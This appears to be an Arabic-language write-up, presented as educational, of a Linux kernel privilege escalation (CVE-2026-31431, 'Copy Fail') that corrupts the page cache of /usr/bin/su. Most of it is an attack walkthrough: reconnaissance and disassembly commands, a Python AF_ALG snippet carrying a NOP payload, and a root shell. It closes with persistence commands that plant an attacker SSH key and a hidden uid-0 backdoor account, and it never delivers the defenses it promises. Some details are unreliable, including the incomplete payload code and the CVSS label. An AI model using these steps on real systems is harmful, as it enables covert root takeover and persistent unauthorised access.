
تحليل تفصيلي لثغرة فشل النسخ (CVE-2026-31431) في نواة لينكس، بما في ذلك آلية تلف الذاكرة، وسلسلة تصعيد الامتيازات، والأثر الأمني.
تحليل تعليمي لثغرة فشل النسخ في نواة لينكس.
يغطي آلية تلف الذاكرة، مسار تصعيد الصلاحيات، الهروب من الحاويات، والإجراءات الدفاعية المضادة.
هذا المستودع لأغراض تعليمية وبحثية فقط.
لا تستخدم هذه المعلومات على أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها.
جميع مقتطفات الأكواد والأوامر مقدمة strictly لمساعدة فهم أعماق نواة لينكس.
CVE-2026-31431، المعروفة أيضاً باسم فشل النسخ (Copy Fail)، هي ثغرة في نواة لينكس تسمح لمستخدم محلي غير مميز بتصعيد صلاحياته إلى الجذر (root) دون أي صلاحيات خاصة.
يعمل الهجوم بالكامل في ذاكرة الوصول العشوائي (RAM). لا يتم لمس ملف القرص أبداً — مما يعني أن تجزئات الملفات تبقى نظيفة، الطوابع الزمنية دون تغيير، وسجلات التدقيق لا تسجل شيئاً. عند إعادة تشغيل النظام، تختفي جميع الأدلة.
مستخدم عادي → استغلال ثغرة algif_aead → الكتابة فوق ذاكرة التخزين المؤقت للصفحات → جذر
الخصائص الرئيسية:
| الحقل | القيمة |
|---|---|
| معرّف CVE | CVE-2026-31431 |
| الاسم الشائع | فشل النسخ / تلف ذاكرة التخزين المؤقت للصفحات algif_aead |
| درجة CVSS v3.1 | 7.8 — حرجة |
| نوع الهجوم | تصعيد صلاحيات محلي (LPE) |
| إصدارات النواة المتأثرة | لينكس 5.10 حتى 6.8 (تقريباً) |
| المكوّن المعرض للخطر | crypto/algif_aead.c — واجهة مقبس AF_ALG |
| موثوقية الاستغلال | عالية — لا يتطلب سباق (race condition) |
| أدلة على القرص | لا شيء — تعديل في الذاكرة فقط |
| تأثير الحاويات | نعم — هروب من المضيف عبر ذاكرة التخزين المؤقت للصفحات المشتركة |
| حالة التصحيح | متاح (تم إصدار تصحيح نواة من المنبع) |
/usr/bin/su — البرنامج المستهدفsu (تبديل المستخدم) يسمح للمستخدم بالتبديل إلى حساب آخر — عادةً الجذر. وهو ملف ثنائي SetUID:
ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
# ^-- 's' = علامة SetUID
علامة s تعني: عندما يقوم أي مستخدم بتشغيل هذا البرنامج، فإنه يعمل بصلاحيات الجذر. وهذا يجعله هدفاً عالي القيمة.
منطقه الداخلي (مبسّط):
if (password_correct()) {
give_root_access();
} else {
deny_access();
}
هدف الهجوم: تخطي فحص password_correct() بالكامل.
عندما يقرأ لينكس ملفاً من القرص، يحتفظ بنسخة منه في الذاكرة تسمى ذاكرة التخزين المؤقت للصفحات (page cache).
| المكوّن | الوصف |
|---|---|
| القرص | الملف الأصلي على القرص (رف المكتبة) |
| ذاكرة التخزين المؤقت للصفحات | نسخة الملف في الذاكرة (النسخة الضوئية على مكتبك) |
| المعالج | يقرأ وينفذ من ذاكرة التخزين المؤقت للصفحات — سريع |
| المهاجم | يعدّل نسخة الذاكرة؛ القرص يبقى دون مساس |
cat /proc/meminfo | grep Cached
# Cached: 1234567 kB ← هذه هي ذاكرة التخزين المؤقت للصفحات
| النوع | الأمان |
|---|---|
| مخزن آمن — مخصص من النواة، الحجم والحدود مضبوطة | ✅ آمن |
| ذاكرة التخزين المؤقت للصفحات — نسخة ذاكرة مدعومة بملف، مشتركة، قابلة للتنفيذ | ⚠️ خطيرة إذا تمت الكتابة إليها |
| مؤشر خاطئ — عنوان ناتج عن ثغرة يشير إلى أي مكان | 🔴 حرج |
AF_ALG (عائلة الخوارزميات) هي واجهة مقبس في لينكس تسمح لبرامج مساحة المستخدم باستخدام دوال التشفير في النواة (AES، SHA، AEAD).
socket(AF_ALG, SOCK_SEQPACKET, 0); // فتح مقبس تشفير
algif_aead هو وحدة النواة التي تتعامل مع تشفير AEAD (مثل AES-GCM) عبر AF_ALG. الثغرة تكمن في خطوة نسخ البيانات الخاصة بها.
AF_ALG → algif_aead → محرك AES-GCM → مخزن الإخراج
↑
الثغرة هنا
الثغرة ليست في منطق التشفير. إنها في إدارة الذاكرة — يتم تحديد منطقة الذاكرة الخاطئة أثناء نسخ البيانات.
destination = safe_output_buffer; // الموقع الصحيح
memcpy(destination, user_data, size); // كتابة البيانات بأمان
destination = buffer + WRONG_OFFSET; // ثغرة: مؤشر خاطئ!
memcpy(destination, user_data, size); // البيانات تصل إلى ذاكرة التخزين المؤقت للصفحات
كان من المفترض أن تكتب النواة إلى مخزن الإخراج الآمن. بسبب إزاحة محسوبة بشكل خاطئ، تكتب إلى ذاكرة التخزين المؤقت للصفحات — التي تحتوي على نسخة الذاكرة من /usr/bin/su.
يحتوي الملف الثنائي على كود آلة x86-64. يستهدف المهاجم القفزة الشرطية التي تسبب فشل المصادقة:
قبل الهجوم:
cmp eax, 0 ; فحص قيمة الإرجاع
jne 0x1234 ; إذا فشل → القفز إلى الرفض
call give_root ; منح الجذر
بعد الهجوم (تغيير 2 بايت في الذاكرة):
cmp eax, 0 ; نفس الشيء
90 90 ; NOP NOP ← تم استبدال القفزة، تم تخطي الفحص!
call give_root ; المعالج يصل هنا مباشرة
NOP = لا عملية. المعالج لا يفعل شيئاً ويتقدم للأمام — متخطياً فحص المصادقة بالكامل.
"أحتاج فقط حساب مستخدم عادي. النواة سترتكب الخطأ بنفسها.
القرص يبقى نظيفاً. لا سجلات. يعمل في كل مرة."
whoami && id
# uid=1000(user) gid=1000(user) ← مستخدم عادي
uname -r
# 6.1.0-generic ← ضمن النطاق المعرض للخطر
ls -la /usr/bin/su
# -rwsr-xr-x root root ← تم تأكيد SetUID
python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG available')"
cat /usr/bin/su > /dev/null
# تم تحميل /usr/bin/su إلى ذاكرة التخزين المؤقت للصفحات ✓
xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su
البحث عن: عنوان دالة المصادقة، القفزة الشرطية jne/jnz، وإزاحة البايت الدقيقة الخاصة بها.
import socket, struct
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)
payload = b'\x90\x90' # NOP NOP — يستبدل القفزة الشرطية
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])
# داخلياً في النواة (مبسّط):
destination = buffer + crafted_offset # ثغرة: مؤشر خاطئ
memcpy(destination, payload, 2) # كتابة بايتات NOP إلى ذاكرة التخزين المؤقت للصفحات
# فحص كلمة مرور /usr/bin/su أصبح الآن NOP NOP في الذاكرة
su
# Password: (أي شيء — أو فقط اضغط Enter)
# root@victim:/# ← تم الحصول على الجذر
ما حدث: نفّذ النظام /usr/bin/su من الذاكرة. كان فحص كلمة المرور NOP. تخطاه المعالج. تم استدعاء give_root() مباشرة.
echo 'attacker_public_key' >> /root/.ssh/authorized_keys
useradd -o -u 0 -g 0 backdoor
echo 'backdoor:password' | chpasswd